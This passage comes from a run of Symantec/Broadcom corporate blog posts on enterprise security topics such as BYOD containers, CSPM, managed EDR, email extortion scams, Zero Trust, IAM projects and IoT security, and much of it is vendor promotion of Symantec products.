At the same time, employers installing MDM solutions on privately owned devices have had a degree of control that some employees might describe as awkward, if not altogether creepy. But there was no avoiding the fact that the corporate demand for security was always going to trump the employee’s expectations of privacy. Security teams understandably will always have the final say in how companies create their mobility policies.
The consequence is that we’re seeing many instances where employees wind up carrying around two mobile devices with them, one for work and one for private use.
Thinking About a Better Approach to BYOD
The endless push-pull between mobile-savvy employees, who just want to get the job done and security teams anxious to protect corporate data from leaking out, is not going away. And despite disagreements about implementation, there’s no longer any dispute that the increased use of smartphone technology leads to improvements in business productivity. So how do we get to a better place that accommodates the needs of all concerned?
Let’s acknowledge that MDM by itself is not the end-all, be-all answer to mobile security. Most companies’ strategies center around MDM solutions where they basically put passwords on devices enabling a full data wipe in case the phones ever get lost or stolen. But users can still search any site and download any documents they choose. You might think that putting a password on the phone is enough but any CISO will know that it’s not enough. If a document is corrupt or infected or malware somehow gets texted into device, the company’s data is at risk.
The goal is to embrace mobility without fear and that means taking measures that incorporate adequate protection and actionable defense into your plans. Organizations need to have the ability to unlock the efficiency and flexibility of BYOD scenarios without sacrificing security.
You might think that putting a password on the phone is enough but any CISO will know that it’s not enough.
A containerized workspace that is bolstered with strong encryption, such as 256-bit AES compliant with the Federal Information Processing Standard (FIPS) 140-2, can allow organizations to keep business and personal data separate on either iOS or Android devices. Furthermore, It will protect business data even if a device itself is compromised, and if a remote wipe of corporate data is required, it can be done without erasing a user’s personal data - guaranteed.
A container can host productivity applications tailored for mobile use, from office suites and collaboration apps, to file management applications and location-based services such as geo-location. Applications such as Office 365, Skype for Business, SharePoint and File Sync — to name just a few — can function and collaborate securely in a defense-grade container.
Flexibility is also an important factor in mobile security, with the ability to be deployed via the cloud, including hybrid clouds, as well as on-premises and to be run on Apple or Android devices.
Security is never easy, but it doesn’t have to come with a trade-off in productivity. An isolated, containerized environment can protect data and guard user privacy while enhancing usability. It can simplify security by separating applications into a secure workspace without separating users from their devices. And most importantly, it can do it without slowing down the pace of business.
|
Why CASB is the Perfect Home for Cloud Security Posture Management
Vendor consolidation, integrations, differentiation and silo elimination in one neat offering
Human Error - The Bane
If you were to ask a colleague to set up a cloud workload, while they were under pressure, it’s fair to assume a mistake may be made. If that mistake led to a cloud misconfiguration, the consequences leading to a data breach are easy to imagine. Several high-profile breaches due to misconfigurations have proved that we ought to:
“Learn from the mistakes of others. You can’t live long enough to make them all yourself.” - Eleanor Roosevelt.
Roosevelt offers very sage advice particularly for Cloud Security. Learning from the mistakes of others is important because making them yourself could mean loss of business, customer trust, reputation damage, and exorbitant legal costs.
Human error leading to misconfigurations and inadvertent mistakes are the leading cause of data breaches, reported or not. The question to ask is why is human error still an issue even with the evolution and maturity of IT and security operations over decades?
The answer is scale, ready availability, and unbounded two-way accessibility combined with the “time-to-market” pressures that businesses face in today’s competitively cut-throat environment.
Scale is often mind-boggling and overwhelming to the human mind. Combine it with computing resources on-tap, and you have a sure-fire recipe for disaster. Self-provisioning, speed, agility, and the scale of the cloud takes no time in transforming itself into Frankenstein’s monster, if not handled properly.
Ready availability refers to the self-provisioning nature of cloud platforms. There are other pitfalls of self-provisioning, such as surprise or uncontrolled costs. However, from a security standpoint, the risk of mistakes, misconfigurations, and misjudgments—undermining the downstream impact of a callously ignored setting—are far greater than the cost issue.
Accessibility not only from within the corporate network to the cloud but also from the outside in. An innocent unintended misconfiguration provides the attacker a foothold in the network. This can make way for easy initial access, unbridled lateral movement, and sometimes, with a stroke of serendipity, direct access to the data depending on the type of misconfiguration.
Time to market - the pressure-to-ship faster and more often means that developers are more likely to leave default settings in place, or ignore security warnings by cloud providers.
CSPM - The Answer
After multiple high-profile exposures/breaches—some of who became the poster-children of breaches due to misconfigurations—SaaS-delivered Cloud Security Posture Management (CSPM) products began making an appearance on the global cybersecurity scene circa 2018. The industry responded with equal fervor and soon enough, there was an exponential increase in the number of CSPM vendors. Symantec, by Broadcom Software, truly demonstrating its thought leadership, developed CSPM organically which came to be known as Cloud Workload Assurance (CWA). However, as the CSPM market became more crowded and newer cloud security use cases emerged, customers realized that managing multiple, siloed security solutions presented its own problems—the so-called “swivel-chair security” problem where you have to constantly shift attention and risk missing the big-picture view.
Integrated CSPM, CASB, DLP - The Solution
As the vendor consolidation theme continues to dominate customer conversations, Symantec, by Broadcom Software, has doubled down on an “integrated solutions” approach over solving isolated use cases. Tackling security use cases with a one-for-one approach leads to security gaps with patchy and unwieldy risk management.
As a part of this broader initiative which involves bringing all of the Symantec security products together to deliver coherent and consistent security outcomes, CWA has found a new home in CloudSOC (CASB).
Another benefit of having CSPM available with Symantec’s award-winning DLP and CASB is that you don’t have to worry about onboarding your cloud accounts or creating connections over and over to monitor and protect them.
Further, the integration provides granular visibility and control over users, data, applications, and configurations - all of which is a customer’s responsibility according to the Shared Responsibility tenets laid down by Cloud Service Providers (CSPs).
Good-bye, swivel-chair security!
To learn more, contact your Broadcom Software sales representative for more information. Alternatively, why not attend one of our regular User Groups? More information is available here.
|
Why EDR and Managed EDR Are Central to Better Threat Detection and Response
It’s a challenge to keep up with advanced threats. Symantec EDR and Managed EDR offer cyber security professionals the capabilities they need to come out ahead
Security organizations, burdened by a relentlessly evolving threat landscape, face an ongoing struggle finding people with the skills to effectively handle not only threat detection but also response.
All this is happening while the confluence of cloud, Internet of Things (IoT), and mobility creates new exploitation points for cyber criminals, reinforcing the need for around-the-clock vigilance, advanced cyber skillsets and innovation. But while modern endpoint detection and response (EDR) solutions can help organizations to deal with this multiplicity of shifting threats, many organizations just don’t have enough security people on staff with the expertise to use these advanced tools to their full advantage.
The Right DNA
Not every security professional is a trained specialist in advanced detection and response methods and you can’t simply plug someone trained in one area of security into another security job, assuming they can handle the new assignment.
Indeed, there are different levels of analysts. The top rung learned their craft only after accumulating years of experience and extensive training. Those very skilled professionals are in short supply and coveted around the industry, making it that much harder for organizations to hire and retain this top talent.
When staying on top of stealthy attacks threatens to become too much to handle, organizations should consider adding Managed Endpoint Detection and Response (MEDR) services to their complement of security programs. Managed EDR services will augment your security staff by providing advanced capabilities -- such as 24x7 critical alert monitoring, managed threat hunting, advanced investigations, and pre-authorized remediation -- that significantly improve the organization’s threat detection and response efforts.
When staying on top of stealthy attacks threatens to become too much to handle, organizations should consider adding Managed Endpoint Detection and Response (MEDR) services to their complement of security programs.
This is a trend in the making. The truth is that even the best enterprise security teams are challenged to perform these kinds of activities by themselves. Sometimes, they simply prefer a managed security services provider to deliver these capabilities. Correlating the sheer volume of threat data creates its own challenges and tends to add further stress points to an already overburdened security team – making it even more difficult and complex to map accurate threats in real-time. A recent survey of cyber security leaders by ESG Research, sponsored by Symantec, found that 78% of the security professionals polled agreed that their organizations would benefit greatly from having their EDR deployment assisted by some type of managed services.
Addressing the Skills Gap Cost-Effectively
Adding MEDR to an EDR deployment offers organizations the advanced tools, automation, analytics and human expertise they need to defend their endpoints against persistent, stealthy attacks. They see that adding MEDR accelerates both mean time to detection (MTTD) and mean time to response (MTTR).
One of the most difficult tasks -- providing 24x7 critical alerting and monitoring -- is considered by these security leaders to be the most important feature of MEDR. Nearly a third agree that adding MEDR compensates for a lack of staff and expertise for this activity. It increases the productivity of security operations center (SOC) analysts by freeing them to focus on other security priorities. And by providing managed threat hunting, advanced on-prem and cloud endpoint investigations, and pre-authorized remediation, MEDR helps reduce the cost and complexity for already maxed-out security operations programs.
Almost a third of the ESG survey’s respondents also believe that MEDR providers can do a better job at threat detection and response than their own security staff. Overall, more than 80% agreed that adding MEDR would provide significant benefits by augmenting and assisting their cyber security team’s overall effectiveness.
78% of Security Professionals Agree
Taking Cyber Security to a Higher Level
The ESG survey data reveals that many organizations feel they can improve their cyber security by deploying a combination of EDR and MEDR advanced tools and services, such as Symantec Endpoint Detection and Response (EDR) and the Symantec Managed Endpoint Detection and Response service (MEDR).
To learn more about how Symantec EDR and MEDR tools and services can take your organization’s threat detection and response to the next level, we invite you to watch the replay of our recent webinar hosted with ESG and a panel of Symantec experts HERE
|
Why Email Extortion Schemes Are Skyrocketing — And How to Protect Yourself Against Them
A confluence of technologies has made the scams easier and cheaper to launch than ever before
Sometimes in cyber security, everything old is new again. And that’s certainly the case with email extortion, an attack that’s been around for years, but has been experiencing a resurgence since 2018. In the scam, someone makes false claims to have hacked your webcam and recorded you, says they discovered you had visited porn sites, or claims they’ve uncovered other actions you’d prefer not be made public. Unless you pay up, the extortionist says, he’ll publish the footage or reveal what you’ve done in other ways. All untrue, but enough to scare most people.
The resurgence in these scams has been dramatic, starting in the middle of 2018, according to Symantec, which blocked nearly 289 million of these extortion attempts between January 1 and May 29, 2019. Statistics from the FBI’s Internet Crime Compliant Center (IC3) back up Symantec’s research. The ICC3 says in 2018 electronic extortion complaints rose 242 percent compared to the previous year. People paid the scammers $83 million, the FBI said.
In this article, we’ll delve into why the scam have become so popular, and how to protect yourself and your enterprise against them.
How Does it Work?
Extortion scams — sometimes called “sextortion” scams — are straightforward and easy to launch. A scamster sends out bulk extortion emails to hundreds of thousands or millions of people. The email threatens to make embarrassing information public unless the victim pays up. Payment is made via Bitcoin, allowing scammers to easily collect the money anonymously. Making the extortion believable is that the email may include a password that people have used to log into a site, making victims believe they’re been hacked and so better pay the extortion demand.
Cooper Quintin, senior staff technologist for the Electronic Frontier Foundation, notes that “sending along a password someone has used is not proof that the person has been hacked by the sender of the email. Usually the passwords have been taken in a data breach, and the scammer merely went through a database of stolen passwords and sent an email to every person in that database and included their passwords in the email.”
Why Has the Scam Become So Popular?
Why the sudden popularity of the scam? Experts say it’s because a confluence of technologies makes the scams easier and cheaper to launch, and easier for scammers to collect money from their victims.
“These extortion email scams are really just a new twist on an old play,” says Frank Downs, Director of Cyber Security Practices for ISACA, a non-profit information security organization. “It’s become very cheap and easy to send out millions of emails, so a scammer only needs a small percentage of people to pay up to make it worth their while.”
Because cellphones have become ubiquitous, he says, there’s far more potential victims than in the past, and many of them are people who didn’t grow up as “digital natives” and so are more likely to fall victim to these kinds of scams.
He also believes that the scams have become more popular because ransomware has become common and effective, and so scammers have decided to try a variant of it on easy-to-fool consumers.
The EFF’s Quintin adds that webcams have become standard hardware on new PCs, and cellphones have built-in cameras, so it’s easier to convince people that someone has hacked their PC or phone and taken control of their camera to take comprising photos or videos. And Bitcoin makes it easy for scammers to collect the extortion money without being tracked.
He also believes that the scams have become more popular because ransomware has become common and effective, and so scammers have decided to try a variant of it on easy-to-fool consumers.
Summing up why it’s become so common, he says, “It’s cheap to send out millions of emails and cryptocurrency makes it easy to get paid without being traced; extorting money via email is going after low-hanging fruit. So, the extortionists ask themselves, ‘Why not try it?’ And then it works, so they do it again.”
How to Protect Against Email Extortion
There’s some good news about email extortion: Unlike sophisticated cyber attacks, it’s relatively easy to protect against it. The most important rule is simple: Don’t pay the extortionist. His threat is an empty one, and you can safely ignore it.
Beyond that, Downs says, “Don’t answer emails from people you don’t know. Don’t click on attachments. Don’t click on links that look funny.”
Sometimes people in enterprises are targeted by extortion emails, and he adds that in those cases, enterprises need to educate their employees about the threats. In addition, he says, “Once an enterprise has identified an incoming threat like this, they need to block it and lock it. That includes updating their white lists and black lists so the emails don’t get through.”
Quintin says that if the email includes one of your passwords, you should immediately change it, because it means that the password has been exposed in a data breach and can be used to hack into one or more of your accounts. He also recommends making sure that you keep your phone and computer software updated with the latest patches, which can stop extortion emails from getting through in the first place.
“Following basic security hygiene is really the best thing you can do,” he concludes. “If you do that, you should be safe.”
|
Why Enterprises Need to Get Ready for the “Roaring Twenties” Redux
Uncertainty is going to be a fact of life, so aim for redundancy, flexibility, and sustainability
The RSA Conference 2021 Virtual Experience is happening May 17-20 and Symantec, as a division of Broadcom, will be providing a summary of some of the leading stories from the conference to help you stay informed.
Think of the “The Roaring Twenties” and the phrase conjures up images of the anything-goes decade between the end of the first World War and Wall Street’s 1929 Crash.
A century later, “the IT world is on the precipice of another Roaring Twenties,” according to Forrester VP Laura Koetzle, who predicts the next decade is shaping up to be a “may you live in interesting times” era.
“Because this has been such a difficult 15-ish months, I do expect a bunch of 1920s-style decadent partying, once that’s allowed,” she said in a speech at the RSA Conference 2021. But post -2021, Koetzle expects the roaring 2020s to be a little less ‘Gatsby’ and a lot more about adapting to pandemic-connected shifts that are going to leave permanent changes in the business and technology landscape.
Indeed, Koetzle recounted how the business world has made radical changes over the course of 2020 and 2021 that were once thought too difficult, if not impossible, to pull off. She said they made those changes because there was no alternative. But now, as IT tentatively enters a post-pandemic future, an equally important challenge looms to sort through those changes and decide which remain and how to secure them. Here’s how she expects events to unfold:
More Security, More Convenience
Empowered consumers will increasingly direct their spending to brands that offer secure no-touch techniques and new digital experiences. During the pandemic, businesses operated under unique constraints, rolling out digital experiences of varying quality. While this has been a learning experience for all concerned, consumers will lose patience with vendors that can’t provide both security and convenience. As security teams get more funding, brands will need to build better systems that scale, everything from application security to better handle adaptive technologies to investing in non-creepy, anti-fraud techniques that don’t make customers uncomfortable about how much is known about them.
Businesses to Create More Hybrid Experiences
As the digital engagement wave builds, it will feed demand for a new breed of hybrid physical digital experiences, such as touchless mobile check-ins at hotels. Better security controls that don’t just comply with regulations but make the consumer experiences more satisfying as design focuses on new customer outcomes, such as saving money or protecting the environment.
Firms, Governments Invest to Drive the Future of Work
Companies and governments are increasingly going to drive the future of work forward by investing in things that once seemed improbable. This might manifest itself in investments by more “high-empathy firms” in their employees, in the process gaining a creative edge over their rivals. (Companies that invested in their workforce during the lockdown are going to reap dividends from grateful employees who are more likely to stick around once the job market improves.) Longer term, expect a more redistributed workforce that reduces the pre-COVID trend toward hyper-urbanization. As work redistributes to different places outside major cities, we’re going to need secure edges, so people aren’t at the mercy of the services delivered from a cloud in some faraway place, because there's just not enough connectivity. Policy makers can seize on the possibilities of this new world of remote work with government incentives to attract employees to more remote economic zones.
Smart Firms to Retire Technical Debt
Who doesn’t have overlapping bits of security, technology and process that they don't need any longer? To ride the tech disruption wave, organizations will need to take a broom to their old infrastructure and clean house wherever possible. This so-called technical debt, piled up over the years, means old security technologies must get replaced by newer tech, such as Azure or cloud-delivered security. Never waste a good crisis and replace old security tech while your company re-platforms its legacy core systems. Longer-term, follow up by investing in OT security for connected, automated production lines or perhaps even blockchain for third-party risk management. Once you’ve caught up, you are going to be able to innovate and grow as the economy recovers.
Business Resiliency = Competitive Advantage
Uncertainty is going to be a fact of life in this decade. When it comes to essential risk management and business continuity, aim for redundancy, flexibility, and sustainability. All it took was for a ship to get stuck in the Suez Canal to wreak havoc with just-in-time delivery models. And so, there's going to be a lot of investment in diversification as organizations shift from individual and regional sole suppliers. That means a need for more visibility into supply chains as well as the ability to anticipate and respond to nascent problems before they turn into crises. Long-term, here’s where artificial intelligence will help to handle uncertainty and systemic risk. Expect continuous change from now on.
In her conversations, Koetzle said most of the executives she speaks with about these topics grasp the need for change and don’t dismiss the COVID-related shifts as transitory.
“I was surprised to the degree that I haven’t had to do too much arguing,” she said. “There have been enough strange events that were described as once-in-a-century events that now occur every couple of years – like a storm in Texas that knocks out the energy grid or really strong rains or droughts or ships getting stuck in the Suez Canal. You get a lot of companies and people in positions of authority saying, “I see lots of evidence that things are happening in discontinuous ways, so the impetus to go back to the way things were isn’t as strong.”
“The message is getting through,” she said.
|
Why Go it Alone Trying to Keep Your Organization Safe?
Faced with an increasingly dangerous threat landscape, enterprises should think about bolstering their defenses by partnering with a leader in Managed Security Services
Don’t Go It Alone. Partner with a Leader in Managed Security Services.
The threat landscape is getting more dangerous because it’s increasingly easy for malware authors to assemble elements (just in time) and deliver malicious payloads, and the likelihood they’ll get caught is very low. Moreover, there’s far too much misleading information about cyber threats out there — for example, even though zero day threats receive plenty of press, most companies are more likely to be damaged by an aggressive piece of undetected malware combined with an unpatched vulnerability, which isn’t blocked by a security product that’s only partially integrated.
Very few enterprises can hire or keep the right people, spend enough time and money, and put together the type of intelligence and correlation platforms required to keep their organization safe, especially when they’re trying for around-the-clock monitoring with global threat visibility.
What to Do
That’s where Symantec Managed Security Services (MSS) come in. Our security analysts have the expertise and the technology and intelligence platforms to protect your business and minimize the likelihood and impact of a cyber attack, with 24x7 monitoring and a deep understanding of the global threat landscape. Our MSS is backed up by the largest commercial intelligence platform in the world and more than 1,000 cyber warriors focused on a single mission: protect the good guys from the bad guys.
Symantec’s MSS works as an extension of your team; our dedicated cyber warriors deliver right-for-you services because you’re different than every other company. You don’t have a “single” point of contact who can only carry messages, you have a whole team that knows you and your priorities, what makes you different and what really matters to you. This means lower false positives and more precise detection and remediation recommendations.
I’m a former CISO, so I know the real-life challenges enterprises face when it comes to security. Like you, I had to integrate and coordinate the cacophony of data, devices, intelligence and vendors that don’t talk to each other in a budget constrained environment. Trying to monitor all those services and all that data was a full-time job. I spent too much time fighting fires rather than managing strategic risk and thinking ahead. But it’s hard to find a trusted advisor who really can execute.
That’s why some CISOs try the do-it-yourself model. Some build their own internal teams and take comfort because they have “control” over the resources – that’s easy to understand when, in most MSSPs, you’re just considered a number. But, internal teams only see internal problems. At Symantec, we see everything. Internal teams are hard to keep and staff 24x7 and, of course, there usually isn’t any ‘bursting’ capability during a crisis. At Symantec we attract the best around the globe largely due to our culture and the opportunity to see and do more than anywhere else.
When it comes to Managed Security Services, no one can touch Symantec’s technology, no one can touch our intelligence and no one can touch our service delivery experience. Don’t just take my word for it. For the fourteenth time, Symantec has been named a Leader in the 2018 Gartner Magic Quadrant for Managed Security Services, Worldwide. Come visit one of our Security Operations Centers (SOC), meet our warriors, and ask us tough questions. We’re the SOC you would build if you had the best technology, intelligence and cyber warriors available.
For More Information:
Read the 2018 Gartner Magic Quadrant for Managed Security Services Report
Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner's research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.
|
Why Government Can’t Afford Not to Adopt Integrated Cyber Defense
Many agencies struggle increasingly with a patchwork of cyber security systems that’s unable to cope with a fast-changing threat landscape.
Every state and local government wants to ensure their organization, systems, data and constituents are protected as best as possible from cyber threats, but the roadblocks standing in the way vary from government to government.
A recent Center for Digital Government survey asked state and local technology leaders to address their biggest cyber security challenges. The answers, unsurprisingly, covered a wide-range of topic areas. Sixty percent of respondents named budget constraints as a major challenge, easily topping the list, but there were several other concerns that respondents named as significant hurdles, including:
Lack of qualified staff: 38 percent
Outdated infrastructure: 34 percent
Lack of an integrated strategy: 29 percent
Lack of support: 27 percent
An inadequate security framework: 24 percent
With ransomware and other cyber attacks on the rise in state agencies, there is a strong business case to be made that investing in an integrated cyber defense architecture can not only reduce the need for expensive remediation tactics after the fact, but, more importantly, help prevent future breaches.
This has become especially true in recent years. Cloud computing and mobile devices have greatly improved government efficiency, but these technologies have expanded the network agencies must now protect. Agencies can no longer secure a hardened perimeter but must focus on the data layer to ensure information is secured at every stage of its lifecycle. To do this, government organizations need to alter their approach to security.
The Value of an Integrated Cyber Defense Platform
There has been a trend in government agencies at all levels to piece together cyber security systems, and the cloud has only added to this complexity. Organizations purchase a specific cyber security tool to fix a specific problem without considering how it works with other aspects of the enterprise. As a result, these systems lack organization and visibility, increasing an agency’s chance of a breach, and resulting in a number of the issues called out in the Center for Digital Government survey.The growth of the network has exacerbated this problem. Government agencies must either adapt at how they secure their network, or risk having a security architecture that’s not apt for today’s environment.
An integrated cyber defense platform unifies security point solutions with the goal of building a comprehensive security posture.
These patchwork systems can also be incredibly expensive to maintain. They are not built with the ability to handle new challenges or adapt to the changing threat landscape. When a new threat emerges, it is common to simply add another component.
While this might solve an immediate issue, a more comprehensive integrated cyber security approach has been of greater success to organizations from both the public and private sectors. An integrated cyber defense platform unifies security point solutions with the goal of building a comprehensive security posture. This integration improves how a government organization manages access to its information and applications, as well as protects against breaches and outside disruption.
An integrated cyber defense platform offers four key benefits:
Stronger protection when the security solution is integrated across endpoints, web and business applications, and the network
Improved efficiencies in both security spending and operations
Ability to correlate threat events through aggregated intelligence
A more comprehensive overview of an organization’s risk management program
Acting as an end-to-end approach that focuses on data protection, this platform is built with pieces constructed to specifically work with one another. In practice, this means better visibility and a system that’s less expensive to maintain than older legacy models, something that is important to state and local government technology leaders.
|
Why Identity Projects Go Wrong
Identifying key factors for success (and failure!) in IAM projects
When organizations undertake an identity-related project (such as expanding identity lifecycle management or enhanced governance of identities and access), it is often launched with great fanfare and hope. However, the end result is often an incomplete delivery, or worse, shelf-ware and lost time and resources. Why does this happen so often, and how can we set up winning conditions from the start that can lead to success?
One major impediment is a lack of executive sponsorship, buy-in, and faith. While this is often present at the beginning of a project, the inevitable issues that will crop up during the project implementation requires the steadfast backing of people at the executive level to stay the course. One key method of avoiding this is to ensure that there is a complete project plan with deliverables negotiated with the business before project start. The quickest way to derail a project is to leave deliverables open-ended or ill-defined, leading to scope creep. Scope creep is the easiest way to make a project become a never-ending series of contentious discussions, which will eat away at the support a project enjoys.
The quickest way to derail a project is to leave deliverables open-ended or ill-defined, leading to scope creep.
This leads to the next point – identifying quick wins, especially for the early phases of the project. In return for the considerable capital executive sponsorship requires, providing visible quick wins is the best way to maintain that support through the completion of the project. This can be as simple as delivering better, easy-to-use self-service tools to end-users that may seem minor, but will build goodwill to the overall project both for the backers of the project and for the end-users of the solution. Nothing will make an executive sponsor look better than being able to show ROI on the project as it delivers win after win, and this will be paid back in support when things go wrong (and like every project, things will go wrong.)
Another problem that leads to project failure is overall scope itself. Identity and Access Management is a multi-tentacled monster that is difficult to wrangle, let alone master. The optimism of a new project in this area must be tempered by a reality-check – is it really possible to automate provisioning across every system both on internal and in the cloud in one year? Always try to remember the Pareto principle – 80% of any gain you can make is typically going to take 20% of the effort, and the remaining 20% gain will take 80% of the effort. Ensuring the scope is tied to the former will help set up the project for success.
Being careful with a long-term phased approach is also a critical component of successful identity projects. It is too easy to break up a large project into multiple phases over a long time-frame (I’ve seen ones that span several years!) This means a constant need to justify expenditure in terms of resources, with each phase a risk to successful project delivery. Executive sponsorship can easily be lost due to turnover, and is difficult to re-capture from a new leader once the project is underway. There is definitely a place for multi-year projects, but they require careful planning and project management.
Being careful with a long-term phased approach is also a critical component of successful identity projects.
Finally, the implementation itself requires specialized knowledge. This is often provided through external consultants and service providers, which is a key resource for any identity project. What is required for a successful long-term implementation is a proper knowledge transfer, which needs to be accounted for at every stage of the project. If internal resources are learning during implementation, they are far more likely to have the capability to manage the solution following the completion of the project. Trying to get everyone up to speed only near the project end-date is a recipe for disaster.
The good news is that a successful identity project can reap huge dividends for any organization. Enabling users to request their own access using an easy-to-use self-service tool (such as the portal in Symantec Identity Governance and Administration) is an excellent way to further capitalize on the investment in time and resources that any identity management solution represents. The visibility of every user of IT systems and their accesses leads to the capability to perform easier governance around those accesses. Automated processes such as provisioning (and in the case of transfers or terminations, de-provisioning) help eliminate the risk of manual processes due to human error. All of these are keys to reducing vulnerability while increasing productivity, freeing up your IAM personnel to doing worthwhile work instead of repetitive, boring tasks.
|
Why IOT Security Isn’t Fated to be a Contradiction in Terms
More work remains but steady progress is underway, offering new optimism that the industry can turn the tide in its favor
With the holidays fast approaching, many people will ignore widespread security concerns and put smart connected things at the top of their gift wish lists.
But after years contending with the vulnerabilities affecting a lot of the devices coming online as part of the Internet of Things (IoT), there’s also room for optimism. Let me highlight progress in a couple of areas.
First, there’s the emergence of more sophisticated IoT smart home security gateways such as Norton Core that offer strong protection for the multiplying number of always-on, digitally smart devices found in homes and offices. Many of these security cameras, televisions and smart thermostats are vulnerable and have been exploited by malicious hackers in recent botnet attacks.
But the advent of these new security gateways is a big deal. It means that millions of consumers will be now able to add a needed layer of protection between their devices and the bad guys who threaten to turn the internet into a veritable Wild West. At the same time, there are bigger versions of such gateways available for enterprise use.
I’m also thrilled at the progress that’s being made to hammer out industry standards around IoT security. Recently emerging standards include the “Autonomic Networking Integrated Model and Approach (anima), the Bootstrapping Remote Secure Key Infrastructures (BRSKI)” specifications along with the “Software Updates for Internet of Things (suit).” There are also nascent government efforts to create trust marks that help consumers know whether they can trust the security and privacy of the devices they are about to buy.
My enthusiasm is tempered by the acknowledgment that fixing the world of IOT security will take time. The trust marks won’t be finalized before this year’s shopping season. Also, the standards that I referred to aren’t yet widely deployed and are not going to feature in most of the gear that winds up getting sold over the next few months.
The proliferation of stronger gateways and stronger standards in the future gives people new options to protect their smart homes. And as the industry works more closely together to build better security into IoT devices, expect more barriers to fall.
However, at least there’s hope that the tide is turning. The proliferation of stronger gateways and stronger standards in the future gives people new options to protect their smart homes. And as the industry works more closely together to build better security into IoT devices, expect more barriers to fall.
That last point deserves a special call-out. In the space of a few years, we’ve made great progress. The work around the Online Trust Alliance and the Open Web Application Security Project guidelines is an encouraging harbinger of even closer industry collaboration. The merger of the two main IoT standards groups, AllSeen and the OpenConnectivity Foundation slightly more than a year ago gives added impetus to the advances underway.
To everyone who has participated in this historic collaboration, you deserve a big Thank You.
|
Why IT is Giving 'Zero Trust' a Close Look
Modern SOCs drowning in complexity are eager for integrated solutions that will work well together to strengthen security
As I’ve noted in this space on other occasions, perimeter-based security won’t cut it in an era defined by the cloud and mobility.
We can’t simply rely on firewalls to protect an organization’s information. Data moves around too much and it’s as likely to be in transit back and forth to the cloud as it is to be sitting inside your four walls. That’s why organizations are focusing on multi-pronged approaches to defend themselves against attacks coming from different vectors.
When we think about the right security architecture and techniques to lock down data, a lot of it really comes down to implementing the basics correctly – limiting access to only those that that truly need it, placing additional protections on your most sensitive data, and making sure you have visibility to who is accessing what.
But increasingly, security managers find themselves grappling with the complexity that inevitably results from cobbling different cyber defense technologies to protect the network. This is where things quickly get unwieldy with SOCs scrambling to keep on top of the alerts that come streaming across their consoles from different technologies.
These solutions need to be integrated together and work well together. Otherwise, there is no way the modern SOC manager can prevent the emergence of independent silos, not to mention remaining sane.
Zero Trust Basics
One approach is to embrace a model of information security that Forrester Research calls Zero Trust. At its core, Zero Trust is a conceptual and architectural model governing how security teams ought to go about redesigning their networks. The model promotes a more holistic approach to information security and puts special focus on processes and technologies. The goal is to produce secure micro-perimeters, strengthened data security using obfuscation techniques, limit the risks associated with excessive user privileges and access, and improved security detection and response with analytics and automation.
In practice, that means finding cyber security solutions that have certified integrations with automated orchestration capabilities that lower the operational burdens on your teams. You need tools that will inform each other without human intervention that can accurately detect threats across the entirety of the environment - including all of your devices, your network, and the cloud.
Why Some Organizations are Embracing Zero Trust
Being part of the world’s leading cyber security company, I have a unique vantage point to trends gaining traction in the market. I’ve seen an uptick of projects at key customers of ours that are aligned with a Zero Trust Ecosystem approach. Some CIOs and CISOs are adopting part of the Zero Trust framework as their internal template to change their security architectures.
The good news for Symantec’s customers is that many aspects of our solution framework – known as our Integrated Cyber Defense Platform - align closely to a Zero Trust platform model. Irrespective of the nomenclature, let’s consider the reasons why companies are showing real interest in an integrated platform approach as they look to re-architect their security infrastructure.
It provides the full breadth of products and services – across endpoint, network and cloud – required to protect business from the types of advanced threats that are targeting them every day. And once threats are identified, orchestration capabilities simplify the task of responding to them across all connected devices – including mobile. This kind of platform can either stop a breach before it happens, or at the very least, catch it quickly and get the right mitigation steps in place.
It aligns with the reality that corporate data can be, in many ways, everywhere. In addition to the traditional network and datacenter, it can be in cloud SaaS apps, workloads in AWS or Azure, mobile devices – both corporate and personal and thumb-drives. It can even be on IoT devices. Zero Trust platforms like Symantec’s Integrated Cyber Defense platform where created with this reality in mind and have the tools and capabilities to protect your data at all times, wherever it resides.
Given the increasingly strict compliance requirements - especially in the aftermath of the passage of GDPR in Europe – platforms provide big help here when it comes to securing data, enforcing identity and access controls on devices and network, segmenting network and workloads.
This remains a relatively new concept and likely to undergo more modifications. But whether this is the exact framework or not is neither here nor there. The capabilities in the Zero Trust framework described by Forrester are ones where we think any modern enterprise really needs to have to secure their data and infrastructure. If you are not doing something in one of these areas, then you are going to be exposed.
Look for us to follow up on this blog with a series of posts looking at some of the key “pillars” of a Zero Trust platform along with a discussion of how customers are using Symantec solutions to implement a Zero Trust security model.
If you found this information useful, you may also enjoy:
Integrated Cyber Defense Platform
Listen To Forrester's Podcast: The Zen of Zero Trust
|
Why it Takes a Team to Keep Your Data Safe
When it comes to cyber security, there’s no room for ball hogs. Success depends upon approaching the task as if it were a team sport
Have you ever rooted for a sports team that, well, really doesn’t function as a team? It gets frustrating all too quickly.
Every player goes their own separate way, trying to do what he or she does best. Meanwhile, their teammates might as well be playing in another building. The absence of teamwork becomes especially glaring when it comes to defense. Even the biggest star faces limits. No single player is enough to stop the other side alone and indifferent attention to team defense is a sure recipe for defeat.
Teams raise their chances of winning by working together and helping each other out. The same goes for cyber security, where playing team defense offers the best chance to keep the bad guys at bay.
While every business is different and security teams organize their defenses differently, one fundamental rule still applies: Every member of the security team should have a clearly defined role in order to split up the work. Jeannie Warner, CISSP and senior manager, outbound product management at Symantec, suggests the team include persons with the following areas of expertise:
IT
Development/Engineering
Legal
Compliance
Security tools
Business
Notably, Warner recommends including development and engineering. This touches on the topic of Agile development and its close cousins, DevOps and DevSecOps (DevOps combines application development and IT operations; DevSecOps adds security to the mix).
“Your dev and engineering teams have to be on board with testing and checking their work – and embedding security in as early as possible,” Warner said. “Because if they don’t, your IT team has to defend swiss cheese and your security team will get blamed for it. And that’s just wrong.”
Consistent Tools
One of the team’s major tasks is to specify the tools that will be used. Input from everyone is important. Otherwise, a top-down, dictatorial approach might result in unwieldy security measures that are likely to be bypassed by those that have to use them. Once the tools are selected, they should be implemented consistently organization-wide.
“Diversity is a nice word for HR, and a horrible word for IT architecture. Consistent laptops, consistent server types, consistent choices in architecture make it easier to distribute patches and manage the constant security updates,” according to Warner.
Robert Rosen, CTO and vice-president of R&R Computing and a veteran federal government IT leader, agrees.
